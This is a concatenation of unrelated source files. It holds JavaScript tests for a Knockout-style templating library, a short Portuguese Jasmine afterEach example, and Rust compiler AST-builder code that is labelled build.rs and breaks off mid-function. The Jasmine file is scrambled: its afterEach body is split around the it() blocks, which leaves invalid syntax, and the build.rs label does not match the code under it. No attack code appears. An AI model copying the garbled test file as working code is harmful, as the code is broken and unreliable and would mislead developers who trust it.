testRenderTemplate(testTextAreaTemplate, 'testTextAreaTemplate', prop) }) it('can fetch template from <template> elements and data-bind on results', function () { var testTemplateTemplate = ensureNodeExistsAndIsEmpty('testTemplateTemplate', 'template') testRenderTemplate(testTemplateTemplate, 'testTemplateTemplate') }) }) describe('Anonymous templates', function () { it('can display static content', function () { new anonymousTemplate(testNode).text('this is some static content') testNode.innerHTML = 'irrelevant initial content' renderTemplate(testNode, null, null, testNode) expect(testNode).toContainHtml('this is some static content') }) it('can data-bind on results', function () { new anonymousTemplate(testNode).text("name: <div data-bind='text: name'></div>") testNode.innerHTML = 'irrelevant initial content' renderTemplate(testNode, { name: 'bert' }, null, testNode) expect(testNode).toContainHtml('name: <div data-bind="text: name">bert</div>') }) it('can be supplied by not giving a template name', function () { testNode.innerHTML = "<div data-bind='template: { data: someItem }'>Value: <span data-bind='text: val'></span></div>" var viewModel = { someItem: { val: 'abc' } } applyBindings(viewModel, testNode) expect(testNode.childNodes[0]).toContainText('Value: abc') }) it('work in conjunction with foreach', function () { testNode.innerHTML = "<div data-bind='template: { foreach: myItems }'><b>Item: <span data-bind='text: itemProp'></span></b></div>" var myItems = observableArray([{ itemProp: 'Alpha' }, { itemProp: 'Beta' }, { itemProp: 'Gamma' }]) applyBindings({ myItems: myItems }, testNode) expect(testNode.childNodes[0].childNodes[0]).toContainText('Item: Alpha') expect(testNode.childNodes[0].childNodes[1]).toContainText('Item: Beta') expect(testNode.childNodes[0].childNodes[2]).toContainText('Item: Gamma') // Can cause re-rendering myItems.push({ itemProp: 'Pushed' }) expect(testNode.childNodes[0].childNodes[0]).toContainText('Item: Alpha') expect(testNode.childNodes[0].childNodes[1]).toContainText('Item: Beta') expect(testNode.childNodes[0].childNodes[2]).toContainText('Item: Gamma') expect(testNode.childNodes[0].childNodes[3]).toContainText('Item: Pushed') myItems.splice(1, 1) expect(testNode.childNodes[0].childNodes[0]).toContainText('Item: Alpha') expect(testNode.childNodes[0].childNodes[1]).toContainText('Item: Gamma') expect(testNode.childNodes[0].childNodes[2]).toContainText('Item: Pushed') }) it('may be nested', function () { testNode.innerHTML = "<div data-bind='template: { foreach: items }'>" + "<div data-bind='template: { foreach: children }'>" + "(Val: <span data-bind='text: $data'></span>, Invocations: <span data-bind='text: $root.invocationCount()'></span>, Parents: <span data-bind='text: $parents.length'></span>)" + '</div>' + '</div>' var viewModel = { invocations: 0, // Verifying # invocations to be sure we're not rendering anything multiple times and discarding the results items: observableArray([{ children: observableArray(['A1', 'A2', 'A3']) }, { children: observableArray(['B1', 'B2']) }]) } viewModel.invocationCount = function () { return ++this.invocations }.bind(viewModel) applyBindings(viewModel, testNode) expect(testNode.childNodes[0].childNodes[0]).toContainText('(Val: A1, Invocations: 1, Parents: 2)(Val: A2, Invocations: 2, Parents: 2)(Val: A3, Invocations: 3, Parents: 2)') expect(testNode.childNodes[0].childNodes[1]).toContainText('(Val: B1, Invocations: 4, Parents: 2)(Val: B2, Invocations: 5, Parents: 2)') // Check we can insert without causing anything else to rerender viewModel.items()[1].children.unshift('ANew') expect(testNode.childNodes[0].childNodes[0]).toContainText('(Val: A1, Invocations: 1, Parents: 2)(Val: A2, Invocations: 2, Parents: 2)(Val: A3, Invocations: 3, Parents: 2)') expect(testNode.childNodes[0].childNodes[1]).toContainText('(Val: ANew, Invocations: 6, Parents: 2)(Val: B1, Invocations: 4, Parents: 2)(Val: B2, Invocations: 5, Parents: 2)') }) it('re-renders nested templates', function () { var node = document.createElement('div') let inner = 0 let outer = 0 node.innerHTML = ` <div data-bind='template: { data: x }'> <i data-bind='incrementInner'></i> <div data-bind='template: { data: $parent.y }'> <i data-bind='incrementOuter'></i> </div> </div> ` options.bindingProviderInstance.bindingHandlers.set('incrementOuter', () => outer++) options.bindingProviderInstance.bindingHandlers.set('incrementInner', () => inner++) const x = observable() const y = observable() applyBindings({ x, y }, node) expect(inner).toEqual(1) expect(outer).toEqual(1) x('a') expect(inner).toEqual(2) expect(outer).toEqual(2) y('a') expect(inner).toEqual(2) expect(outer).toEqual(3) }) it('with no content should be rejected', function () { window.testDivTemplate.innerHTML = "<div data-bind='template: { data: someItem }'></div>" var viewModel = { someItem: { val: 'abc' } } expect(function () { applyBindings(viewModel, window.testDivTemplate) }).toThrowContaining('no template content') }) }) describe('Data-bind syntax', function () { it('should expose parent binding context as $parent if binding with an explicit \"data\" value', function () { testNode.innerHTML = "<div data-bind='template: { data: someItem }'>" + "ValueBound: <span data-bind='text: $parent.parentProp'></span>" + '</div>' applyBindings({ someItem: {}, parentProp: 'Hello' }, testNode) expect(testNode.childNodes[0]).toContainText('ValueBound: Hello') }) it('should expose all ancestor binding contexts as $parents, with top frame also given as $root', function () { testNode.innerHTML = "<div data-bind='template: { data: outerItem }'>" + "<div data-bind='template: { data: middleItem }'>" + "<div data-bind='template: { data: innerItem }'>(" + "data: <span data-bind='text: $data.val'></span>, " + "parent: <span data-bind='text: $parent.val'></span>, " + "parents[0]: <span data-bind='text: $parents[0].val'></span>, " + "parents[1]: <span data-bind='text: $parents[1].val'></span>, " + "parents.length: <span data-bind='text: $parents.length'></span>, " + "root: <span data-bind='text: $root.val'></span>" + ')</div>' + '</div>' + '</div>' applyBindings({ val: 'ROOT', outerItem: { val: 'OUTER', middleItem: { val: 'MIDDLE', innerItem: { val: 'INNER' } } } }, testNode) expect(testNode.childNodes[0].childNodes[0].childNodes[0]).toContainText('(data: INNER, parent: MIDDLE, parents[0]: MIDDLE, parents[1]: OUTER, parents.length: 3, root: ROOT)') }) }) })
afterEach.spec.js
//FUNÇÃO JAVASCRIPT GLOBAL DO JASMINE QUE É EXECUTADA DEPOIS DE CADA TESTE //PODE SER EXECUTADA DEPOIS DE CADA TESTE, SERVE PARA INICIALIZAR O REINICIAR UM STATUS //PODE TAMBEM EXECUTAR UMA AÇÃO DEPOIS DE CADA TESTE describe('Teste do beforeEach', function() { var contador = 0; beforeEach(function() { contador++; }); afterEach(function() {
it('Deve garantir o contador para 1', function () { expect(contador).toEqual(1); }); it('Deve ainda garantir o contador para 1', function () { expect(contador).toEqual(1); }); })
contador = 0; });
build.rs
// Copyright 2012 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your // option. This file may not be copied, modified, or distributed // except according to those terms. use abi::Abi; use ast::{self, Ident, Generics, Expr, BlockCheckMode, UnOp, PatKind}; use attr; use codemap::{Span, respan, Spanned, DUMMY_SP, Pos}; use ext::base::ExtCtxt; use parse::token::{self, keywords, InternedString}; use ptr::P; // Transitional reexports so qquote can find the paths it is looking for mod syntax { pub use ext; pub use parse; } pub trait AstBuilder { // paths fn path(&self, span: Span, strs: Vec<ast::Ident> ) -> ast::Path; fn path_ident(&self, span: Span, id: ast::Ident) -> ast::Path; fn path_global(&self, span: Span, strs: Vec<ast::Ident> ) -> ast::Path; fn path_all(&self, sp: Span, global: bool, idents: Vec<ast::Ident> , lifetimes: Vec<ast::Lifetime>, types: Vec<P<ast::Ty>>, bindings: Vec<ast::TypeBinding> ) -> ast::Path; fn qpath(&self, self_type: P<ast::Ty>, trait_path: ast::Path, ident: ast::Ident) -> (ast::QSelf, ast::Path); fn qpath_all(&self, self_type: P<ast::Ty>, trait_path: ast::Path, ident: ast::Ident, lifetimes: Vec<ast::Lifetime>, types: Vec<P<ast::Ty>>, bindings: Vec<ast::TypeBinding>) -> (ast::QSelf, ast::Path); // types fn ty_mt(&self, ty: P<ast::Ty>, mutbl: ast::Mutability) -> ast::MutTy; fn ty(&self, span: Span, ty: ast::TyKind) -> P<ast::Ty>; fn ty_path(&self, ast::Path) -> P<ast::Ty>; fn ty_sum(&self, ast::Path, ast::TyParamBounds) -> P<ast::Ty>; fn ty_ident(&self, span: Span, idents: ast::Ident) -> P<ast::Ty>; fn ty_rptr(&self, span: Span, ty: P<ast::Ty>, lifetime: Option<ast::Lifetime>, mutbl: ast::Mutability) -> P<ast::Ty>; fn ty_ptr(&self, span: Span, ty: P<ast::Ty>, mutbl: ast::Mutability) -> P<ast::Ty>; fn ty_option(&self, ty: P<ast::Ty>) -> P<ast::Ty>; fn ty_infer(&self, sp: Span) -> P<ast::Ty>; fn ty_vars(&self, ty_params: &P<[ast::TyParam]>) -> Vec<P<ast::Ty>> ; fn ty_vars_global(&self, ty_params: &P<[ast::TyParam]>) -> Vec<P<ast::Ty>> ; fn typaram(&self, span: Span, id: ast::Ident, bounds: ast::TyParamBounds, default: Option<P<ast::Ty>>) -> ast::TyParam; fn trait_ref(&self, path: ast::Path) -> ast::TraitRef; fn poly_trait_ref(&self, span: Span, path: ast::Path) -> ast::PolyTraitRef; fn typarambound(&self, path: ast::Path) -> ast::TyParamBound; fn lifetime(&self, span: Span, ident: ast::Name) -> ast::Lifetime; fn lifetime_def(&self, span: Span, name: ast::Name, bounds: Vec<ast::Lifetime>) -> ast::LifetimeDef; // statements fn stmt_expr(&self, expr: P<ast::Expr>) -> ast::Stmt; fn stmt_let(&self, sp: Span, mutbl: bool, ident: ast::Ident, ex: P<ast::Expr>) -> ast::Stmt; fn stmt_let_typed(&self, sp: Span, mutbl: bool, ident: ast::Ident, typ: P<ast::Ty>, ex: P<ast::Expr>) -> P<ast::Stmt>; fn stmt_item(&self, sp: Span, item: P<ast::Item>) -> ast::Stmt; // blocks fn block(&self, span: Span, stmts: Vec<ast::Stmt>, expr: Option<P<ast::Expr>>) -> P<ast::Block>; fn block_expr(&self, expr: P<ast::Expr>) -> P<ast::Block>; fn block_all(&self, span: Span, stmts: Vec<ast::Stmt>, expr: Option<P<ast::Expr>>) -> P<ast::Block>; // expressions fn expr(&self, span: Span, node: ast::ExprKind) -> P<ast::Expr>; fn expr_path(&self, path: ast::Path) -> P<ast::Expr>; fn expr_qpath(&self, span: Span, qself: ast::QSelf, path: ast::Path) -> P<ast::Expr>; fn expr_ident(&self, span: Span, id: ast::Ident) -> P<ast::Expr>; fn expr_self(&self, span: Span) -> P<ast::Expr>; fn expr_binary(&self, sp: Span, op: ast::BinOpKind, lhs: P<ast::Expr>, rhs: P<ast::Expr>) -> P<ast::Expr>; fn expr_deref(&self, sp: Span, e: P<ast::Expr>) -> P<ast::Expr>; fn expr_unary(&self, sp: Span, op: ast::UnOp, e: P<ast::Expr>) -> P<ast::Expr>; fn expr_addr_of(&self, sp: Span, e: P<ast::Expr>) -> P<ast::Expr>; fn expr_mut_addr_of(&self, sp: Span, e: P<ast::Expr>) -> P<ast::Expr>; fn expr_field_access(&self, span: Span, expr: P<ast::Expr>, ident: ast::Ident) -> P<ast::Expr>; fn expr_tup_field_access(&self, sp: Span, expr: P<ast::Expr>, idx: usize) -> P<ast::Expr>; fn expr_call(&self, span: Span, expr: P<ast::Expr>, args: Vec<P<ast::Expr>>) -> P<ast::Expr>; fn expr_call_ident(&self, span: Span, id: ast::Ident, args: Vec<P<ast::Expr>>) -> P<ast::Expr>; fn expr_call_global(&self, sp: Span, fn_path: Vec<ast::Ident>, args: Vec<P<ast::Expr>> ) -> P<ast::Expr>; fn expr_method_call(&self, span: Span, expr: P<ast::Expr>, ident: ast::Ident, args: Vec<P<ast::Expr>> ) -> P<ast::Expr>; fn expr_block(&self, b: P<ast::Block>) -> P<ast::Expr>; fn expr_cast(&self, sp: Span, expr: P<ast::Expr>, ty: P<ast::Ty>) -> P<ast::Expr>; fn field_imm(&self, span: Span, name: Ident, e: P<ast::Expr>) -> ast::Field; fn expr_struct(&self, span: Span, path: ast::Path, fields: Vec<ast::Field>) -> P<ast::Expr>; fn expr_struct_ident(&self, span: Span, id: ast::Ident, fields: Vec<ast::Field>) -> P<ast::Expr>; fn expr_lit(&self, sp: Span, lit: ast::LitKind) -> P<ast::Expr>; fn expr_usize(&self, span: Span, i: usize) -> P<ast::Expr>; fn expr_isize(&self, sp: Span, i: isize) -> P<ast::Expr>; fn expr_u8(&self, sp: Span, u: u8) -> P<ast::Expr>; fn expr_u32(&self, sp: Span, u: u32) -> P<ast::Expr>; fn expr_bool(&self, sp: Span, value: bool) -> P<ast::Expr>; fn expr_vec(&self, sp: Span, exprs: Vec<P<ast::Expr>>) -> P<ast::Expr>; fn expr_vec_ng(&self, sp: Span) -> P<ast::Expr>; fn expr_vec_slice(&self, sp: Span, exprs: Vec<P<ast::Expr>>) -> P<ast::Expr>; fn expr_str(&self, sp: Span, s: InternedString) -> P<ast::Expr>; fn expr_some(&self, sp: Span, expr: P<ast::Expr>) -> P<ast::Expr>; fn expr_none(&self, sp: Span) -> P<ast::Expr>; fn expr_break(&self, sp: Span) -> P<ast::Expr>; fn expr_tuple(&self, sp: Span, exprs: Vec<P<ast::Expr>>) -> P<ast::Expr>; fn expr_fail(&self, span: Span, msg: InternedString) -> P<ast::Expr>; fn expr_unreachable(&self, span: Span) -> P<ast::Expr>; fn expr_ok(&self, span: Span, expr: P<ast::Expr>) -> P<ast::Expr>; fn expr_err(&self, span: Span, expr: P<ast::Expr>) -> P<ast::Expr>; fn expr_try(&self, span: Span, head: P<ast::Expr>) -> P<ast::Expr>; fn pat(&self, span: Span, pat: PatKind) -> P<ast::Pat>; fn pat_wild(&self, span: Span) -> P<ast::Pat>; fn pat_lit(&self, span: Span, expr: P<ast::Expr>) -> P<ast::Pat>; fn pat_ident(&self, span: Span, ident: ast::Ident) -> P<ast::Pat>; fn pat_ident_binding_mode(&self, span: Span, ident: ast::Ident, bm: ast::BindingMode) -> P<ast::Pat>; fn pat_enum(&self, span: Span, path: ast::Path, subpats: Vec<P<ast::Pat>> ) -> P<ast::Pat>; fn pat_struct(&self, span: Span, path: ast::Path, field_pats: Vec<Spanned<ast::FieldPat>> ) -> P<ast::Pat>; fn pat_tuple(&self, span: Span, pats: Vec<P<ast::Pat>>) -> P<ast::Pat>; fn pat_some(&self, span: Span, pat: P<ast::Pat>) -> P<ast::Pat>; fn pat_none(&self, span: Span) -> P<ast::Pat>; fn pat_ok(&self, span: Span, pat: P<ast::Pat>) -> P<ast::Pat>; fn pat_err(&self, span: Span, pat: P<ast::Pat>) -> P<ast::Pat>; fn arm(&self, span: Span, pats: Vec<P<ast::Pat>>, expr: P<ast::Expr>) -> ast::Arm; fn arm_unreachable(&self, span: Span) -> ast::Arm; fn expr_match(&self, span: Span, arg: P<ast::Expr>, arms: Vec<ast::Arm> ) -> P<ast::Expr>; fn expr_if(&self, span: Span, cond: P<ast::Expr>, then: P<ast::Expr>, els: Option<P<ast::Expr>>) -> P<ast::Expr>; fn expr_loop(&self, span: Span, block: P<ast::Block>) -> P<ast::Expr>; fn lambda_fn_decl(&self, span: Span, fn_decl: P<ast::FnDecl>, blk: P<ast::Block>, fn_decl_span: Span) -> P<ast::Expr>; fn lambda(&self, span: Span, ids: Vec<ast::Ident>, blk: P<ast::Block>) -> P<ast::Expr>; fn lambda0(&self, span: Span, blk: P<ast::Block>) -> P<ast::Expr>; fn lambda1(&self, span: Span, blk: P<ast::Block>, ident: ast::Ident) -> P<ast::Expr>; fn lambda_expr(&self, span: Span, ids: Vec<ast::Ident> , blk: P<ast::Expr>) -> P<ast::Expr>; fn lambda_expr_0(&self, span: Span, expr: P<ast::Expr>) -> P<ast::Expr>; fn lambda_expr_1(&self, span: Span, expr: P<ast::Expr>, ident: ast::Ident) -> P<ast::Expr>; fn lambda_stmts(&self, span: Span, ids: Vec<ast::Ident>, blk: Vec<ast::Stmt>) -> P<ast::Expr>; fn lambda_stmts_0(&self, span: Span, stmts: Vec<ast::Stmt>) -> P<ast::Expr>; fn lambda_stmts_1(&self, span: Span, stmts: Vec<ast::Stmt>, ident: ast::Ident) -> P<ast::Expr>; // items fn item(&self, span: Span, name: Ident, attrs: Vec<ast::Attribute> , node: ast::ItemKind) -> P<ast::Item>; fn arg(&self, span: Span, name: Ident, ty: P<ast::Ty>) -> ast::Arg; // FIXME unused self fn fn_decl(&self, inputs: Vec<ast::Arg> , output: P<ast::Ty>) -> P<ast::FnDecl>; fn item_fn_poly(&self, span: Span, name: Ident, inputs: Vec<ast::Arg> , output: P<ast::Ty>, generics: Generics, body: P<ast::Block>) -> P<ast::Item>; fn item_fn(&self, span: Span, name: Ident, inputs: Vec<ast::Arg> , output: P<ast::Ty>, body: P<ast::Block>) -> P<ast::Item>; fn variant(&self, span: Span, name: Ident, tys: Vec<P<ast::Ty>> ) -> ast::Variant; fn item_enum_poly(&self, span: Span, name: Ident, enum_definition: ast::EnumDef, generics: Generics) -> P<ast::Item>; fn item_enum(&self, span: Span, name: Ident, enum_def: ast::EnumDef) -> P<ast::Item>; fn item_struct_poly(&self, span: Span, name: Ident, struct_def: ast::VariantData, generics: Generics) -> P<ast::Item>; fn item_struct(&self, span: Span, name: Ident, struct_def: ast::VariantData) -> P<ast::Item>; fn item_mod(&self, span: Span, inner_span: Span, name: Ident, attrs: Vec<ast::Attribute>, items: Vec<P<ast::Item>>) -> P<ast::Item>; fn item_static(&self, span: Span, name: Ident, ty: P<ast::Ty>, mutbl: ast::Mutability, expr: P<ast::Expr>) -> P<ast::Item>; fn item_const(&self, span: Span, name: Ident, ty: P<ast::Ty>, expr: P<ast::Expr>) -> P<ast::Item>; fn item_ty_poly(&self, span: Span, name: Ident, ty: P<ast::Ty>, generics: Generics) -> P<ast::Item>; fn item_ty(&self, span: Span, name: Ident, ty: P<ast::Ty>) -> P<ast::Item>; fn attribute(&self, sp: Span, mi: P<ast::MetaItem>) -> ast::Attribute; fn meta_word(&self, sp: Span, w: InternedString) -> P<ast::MetaItem>; fn meta_list(&self, sp: Span, name: InternedString, mis: Vec<P<ast::MetaItem>> ) -> P<ast::MetaItem>; fn meta_name_value(&self, sp: Span, name: InternedString, value: ast::LitKind) -> P<ast::MetaItem>; fn item_use(&self, sp: Span, vis: ast::Visibility, vp: P<ast::ViewPath>) -> P<ast::Item>; fn item_use_simple(&self, sp: Span, vis: ast::Visibility, path: ast::Path) -> P<ast::Item>; fn item_use_simple_(&self, sp: Span, vis: ast::Visibility, ident: ast::Ident, path: ast::Path) -> P<ast::Item>; fn item_use_list(&self, sp: Span, vis: ast::Visibility, path: Vec<ast::Ident>, imports: &[ast::Ident]) -> P<ast::Item>; fn item_use_glob(&self, sp: Span, vis: ast::Visibility, path: Vec<ast::Ident>) -> P<ast::Item>; } impl<'a> AstBuilder for ExtCtxt<'a> { fn path(&self, span: Span, strs: Vec<ast::Ident> ) -> ast::Path { self.path_all(span, false, strs, Vec::new(), Vec::new(), Vec::new()) } fn path_ident(&self, span: Span, id: ast::Ident) -> ast::Path { self.path(span, vec!(id)) } fn path_global(&self, span: Span, strs: Vec<ast::Ident> ) -> ast::Path { self.path_all(span, true, strs, Vec::new(), Vec::new(), Vec::new()) } fn path_all(&self, sp: Span, global: bool, mut idents: Vec<ast::Ident> , lifetimes: Vec<ast::Lifetime>, types: Vec<P<ast::Ty>>, bindings: Vec<ast::TypeBinding> ) -> ast::Path { let last_identifier = idents.pop().unwrap(); let mut segments: Vec<ast::PathSegment> = idents.into_iter() .map(|ident| { ast::PathSegment { identifier: ident, parameters: ast::PathParameters::none(), } }).collect(); segments.push(ast::PathSegment { identifier: last_identifier, parameters: ast::PathParameters::AngleBracketed(ast::AngleBracketedParameterData { lifetimes: lifetimes, types: P::from_vec(types), bindings: P::from_vec(bindings), }) }); ast::Path { span: sp, global: global, segments: segments, } } /// Constructs a qualified path. /// /// Constructs a path like `<self_type as trait_path>::ident`. fn qpath(&self, self_type: P<ast::Ty>, trait_path: ast::Path, ident: ast::Ident) -> (ast::QSelf, ast::Path) { self.qpath_all(self_type, trait_path, ident, vec![], vec![], vec![]) } /// Constructs a qualified path. /// /// Constructs a path like `<self_type as trait_path>::ident<'a, T, A=Bar>`. fn qpath_all(&self, self_type: P<ast::Ty>, trait_path: ast::Path, ident: ast::Ident, lifetimes: Vec<ast::Lifetime>, types: Vec<P<ast::Ty>>, bindings: Vec<ast::TypeBinding>) -> (ast::QSelf, ast::Path) { let mut path = trait_path; path.segments.push(ast::PathSegment { identifier: ident, parameters: ast::PathParameters::AngleBracketed(ast::AngleBracketedParameterData { lifetimes: lifetimes, types: P::from_vec(types), bindings: P::from_vec(bindings), }) }); (ast::QSelf { ty: self_type, position: path.segments.len() - 1 }, path) } fn ty_mt(&self, ty: P<ast::Ty>, mutbl: ast::Mutability) -> ast::MutTy { ast::MutTy { ty: ty, mutbl: mutbl } } fn ty(&self, span: Span, ty: ast::TyKind) -> P<ast::Ty> { P(ast::Ty { id: ast::DUMMY_NODE_ID, span: span, node: ty }) } fn ty_path(&self, path: ast::Path) -> P<ast::Ty> { self.ty(path.span, ast::TyKind::Path(None, path)) } fn ty_sum(&self, path: ast::Path, bounds: ast::TyParamBounds) -> P<ast::Ty> { self.ty(path.span, ast::TyKind::ObjectSum(self.ty_path(path), bounds)) } // Might need to take bounds as an argument in the future, if you ever want // to generate a bounded existential trait type. fn ty_ident(&self, span: Span, ident: ast::Ident) -> P<ast::Ty> { self.ty_path(self.path_ident(span, ident)) } fn ty_rptr(&self, span: Span, ty: P<ast::Ty>, lifetime: Option<ast::Lifetime>, mutbl: ast::Mutability) -> P<ast::Ty> { self.ty(span, ast::TyKind::Rptr(lifetime, self.ty_mt(ty, mutbl))) } fn ty_ptr(&self, span: Span, ty: P<ast::Ty>, mutbl: ast::Mutability) -> P<ast::Ty> { self.ty(span, ast::TyKind::Ptr(self.ty_mt(ty, mutbl))) } fn ty_option(&self, ty: P<ast::Ty>) -> P<ast::Ty> { self.ty_path( self.path_all(DUMMY_SP, true, self.std_path(&["option", "Option"]), Vec::new(), vec!( ty ), Vec::new())) } fn ty_infer(&self, span: Span) -> P<ast::Ty> { self.ty(span, ast::TyKind::Infer) } fn typaram(&self, span: Span, id: ast::Ident, bounds: ast::TyParamBounds, default: Option<P<ast::Ty>>) -> ast::TyParam { ast::TyParam { ident: id, id: ast::DUMMY_NODE_ID, bounds: bounds, default: default, span: span } } // these are strange, and probably shouldn't be used outside of // pipes. Specifically, the global version possible generates // incorrect code. fn ty_vars(&self, ty_params: &P<[ast::TyParam]>) -> Vec<P<ast::Ty>> { ty_params.iter().map(|p| self.ty_ident(DUMMY_SP, p.ident)).collect() } fn ty_vars_global(&self, ty_params: &P<[ast::TyParam]>) -> Vec<P<ast::Ty>> { ty_params .iter() .map(|p| self.ty_path(self.path_global(DUMMY_SP, vec!(p.ident)))) .collect() } fn trait_ref(&self, path: ast::Path) -> ast::TraitRef { ast::TraitRef { path: path, ref_id: ast::DUMMY_NODE_ID, } } fn poly_trait_ref(&self, span: Span, path: ast::Path) -> ast::PolyTraitRef { ast::PolyTraitRef { bound_lifetimes: Vec::new(), trait_ref: self.trait_ref(path), span: span, } } fn typarambound(&self, path: ast::Path) -> ast::TyParamBound { ast::TraitTyParamBound(self.poly_trait_ref(path.span, path), ast::TraitBoundModifier::None) } fn lifetime(&self, span: Span, name: ast::Name) -> ast::Lifetime { ast::Lifetime { id: ast::DUMMY_NODE_ID, span: span, name: name } } fn lifetime_def(&self, span: Span, name: ast::Name, bounds: Vec<ast::Lifetime>) -> ast::LifetimeDef { ast::LifetimeDef { lifetime: self.lifetime(span, name), bounds: bounds } } fn stmt_expr(&self, expr: P<ast::Expr>) -> ast::Stmt { respan(expr.span, ast::StmtKind::Semi(expr, ast::DUMMY_NODE_ID)) } fn stmt_let(&self, sp: Span, mutbl: bool, ident: ast::Ident, ex: P<ast::Expr>) -> ast::Stmt { let pat = if mutbl { let binding_mode = ast::BindingMode::ByValue(ast::Mutability::Mutable); self.pat_ident_binding_mode(sp, ident, binding_mode) } else { self.pat_ident(sp, ident) }; let local = P(ast::Local { pat: pat, ty: None, init: Some(ex), id: ast::DUMMY_NODE_ID, span: sp, attrs: None, }); let decl = respan(sp, ast::DeclKind::Local(local)); respan(sp, ast::StmtKind::Decl(P(decl), ast::DUMMY_NODE_ID)) } fn stmt_let_typed(&self, sp: Span, mutbl: bool, ident: ast::Ident, typ: P<ast::Ty>, ex: P<ast::Expr>) -> P<ast::Stmt> { let pat = if mutbl { let binding_mode = ast::BindingMode::ByValue(ast::Mutability::Mutable); self.pat_ident_binding_mode(sp, ident, binding_mode) } else { self.pat_ident(sp, ident) }; let local = P(ast::Local { pat: pat, ty: Some(typ), init: Some(ex), id: ast::DUMMY_NODE_ID, span: sp, attrs: None, }); let decl = respan(sp, ast::DeclKind::Local(local)); P(respan(sp, ast::StmtKind::Decl(P(decl), ast::DUMMY_NODE_ID))) } fn block(&self, span: Span, stmts: Vec<ast::Stmt>, expr: Option<P<Expr>>) -> P<ast::Block> { self.block_all(span, stmts, expr) } fn stmt_item(&self, sp: Span, item: P<ast::Item>) -> ast::Stmt { let decl = respan(sp, ast::DeclKind::Item(item)); respan(sp, ast::StmtKind::Decl(P(decl), ast::DUMMY_NODE_ID)) } fn block_expr(&self, expr: P<ast::Expr>) -> P<ast::Block> { self.block_all(expr.span, Vec::new(), Some(expr)) } fn block_all(&self, span: Span, stmts: Vec<ast::Stmt>, expr: Option<P<ast::Expr>>) -> P<ast::Block> { P(ast::Block { stmts: stmts, expr: expr, id: ast::DUMMY_NODE_ID, rules: BlockCheckMode::Default, span: span, }) } fn expr(&self, span: Span, node: ast::ExprKind) -> P<ast::Expr> { P(ast::Expr { id: ast::DUMMY_NODE_ID, node: node, span: span, attrs: None, }) } fn expr_path(&self, path: ast::Path) -> P<ast::Expr> { self.expr(path.span, ast::ExprKind::Path(None, path)) } /// Constructs a QPath expression. fn expr_qpath(&self, span: Span, qself: ast::QSelf, path: ast::Path) -> P<ast::Expr> { self.expr(span, ast::ExprKind::Path(Some(qself), path)) } fn expr_ident(&self, span: Span, id: ast::Ident) -> P<ast::Expr> { self.expr_path(self.path_ident(span, id)) } fn expr_self(&self, span: Span) -> P<ast::Expr> { self.expr_ident(span, keywords::SelfValue.ident()) } fn expr_binary(&self, sp: Span, op: ast::BinOpKind, lhs: P<ast::Expr>, rhs: P<ast::Expr>) -> P<ast::Expr> { self.expr(sp, ast::ExprKind::Binary(Spanned { node: op, span: sp }, lhs, rhs)) } fn expr_deref(&self, sp: Span, e: P<ast::Expr>) -> P<ast::Expr> { self.expr_unary(sp, UnOp::Deref, e) } fn expr_unary(&self, sp: Span, op: ast::UnOp, e: P<ast::Expr>) -> P<ast::Expr> { self.expr(sp, ast::ExprKind::Unary(op, e)) } fn expr_field_access(&self, sp: Span, expr: P<ast::Expr>, ident: ast::Ident) -> P<ast::Expr> { let field_span = Span { lo: sp.lo - Pos::from_usize(ident.name.as_str().len()), hi: sp.hi, expn_id: sp.expn_id, }; let id = Spanned { node: ident, span: field_span }; self.expr(sp, ast::ExprKind::Field(expr, id)) } fn expr_tup_field_access(&self, sp: Span, expr: P<ast::Expr>, idx: usize) -> P<ast::Expr> { let field_span = Span { lo: sp.lo - Pos::from_usize(idx.to_string().len()), hi: sp.hi, expn_id: sp.expn_id, }; let id = Spanned { node: idx, span: field_span }; self.expr(sp, ast::ExprKind::TupField(expr, id)) } fn expr_addr_of(&self, sp: Span, e: P<ast::Expr>) -> P<ast::Expr> { self.expr(sp, ast::ExprKind::AddrOf(ast::Mutability::Immutable, e)) } fn expr_mut_addr_of(&self, sp: Span, e: P<ast::Expr>) -> P<ast::Expr> { self.expr(sp, ast::ExprKind::AddrOf(ast::Mutability::Mutable, e)) } fn expr_call(&self, span: Span, expr: P<ast::Expr>, args: Vec<P<ast::Expr>>) -> P<ast::Expr> { self.expr(span, ast::ExprKind::Call(expr, args)) } fn expr_call_ident(&self, span: Span, id: ast::Ident, args: Vec<P<ast::Expr>>) -> P<ast::Expr> { self.expr(span, ast::ExprKind::Call(self.expr_ident(span, id), args)) } fn expr_call_global(&self, sp: Span, fn_path: Vec<ast::Ident> , args: Vec<P<ast::Expr>> ) -> P<ast::Expr> { let pathexpr = self.expr_path(self.path_global(sp, fn_path)); self.expr_call(sp, pathexpr, args) } fn expr_method_call(&self, span: Span, expr: P<ast::Expr>, ident: ast::Ident, mut args: Vec<P<ast::Expr>> ) -> P<ast::Expr> { let id = Spanned { node: ident, span: span }; args.insert(0, expr); self.expr(span, ast::ExprKind::MethodCall(id, Vec::new(), args)) } fn expr_block(&self, b: P<ast::Block>) -> P<ast::Expr> { self.expr(b.span, ast::ExprKind::Block(b)) } fn field_imm(&self, span: Span, name: Ident, e: P<ast::Expr>) -> ast::Field { ast::Field { ident: respan(span, name), expr: e, span: span } } fn expr_struct(&self, span: Span, path: ast::Path, fields: Vec<ast::Field>) -> P<ast::Expr> { self.expr(span, ast::ExprKind::Struct(path, fields, None)) } fn expr_struct_ident(&self, span: Span, id: ast::Ident, fields: Vec<ast::Field>) -> P<ast::Expr> { self.expr_struct(span, self.path_ident(span, id), fields) } fn expr_lit(&self, sp: Span, lit: ast::LitKind) -> P<ast::Expr> { self.expr(sp, ast::ExprKind::Lit(P(respan(sp, lit)))) } fn expr_usize(&self, span: Span, i: usize) -> P<ast::Expr> { self.expr_lit(span, ast::LitKind::Int(i as u64, ast::LitIntType::Unsigned(ast::UintTy::Us))) } fn expr_isize(&self, sp: Span, i: isize) -> P<ast::Expr> { if i < 0 { let i = (-i) as u64; let lit_ty = ast::LitIntType::Signed(ast::IntTy::Is); let lit = self.expr_lit(sp, ast::LitKind::Int(i, lit_ty)); self.expr_unary(sp, ast::UnOp::Neg, lit) } else { self.expr_lit(sp, ast::LitKind::Int(i as u64, ast::LitIntType::Signed(ast::IntTy::Is))) } } fn expr_u32(&self, sp: Span, u: u32) -> P<ast::Expr> { self.expr_lit(sp, ast::LitKind::Int(u as u64, ast::LitIntType::Unsigned(ast::UintTy::U32))) } fn 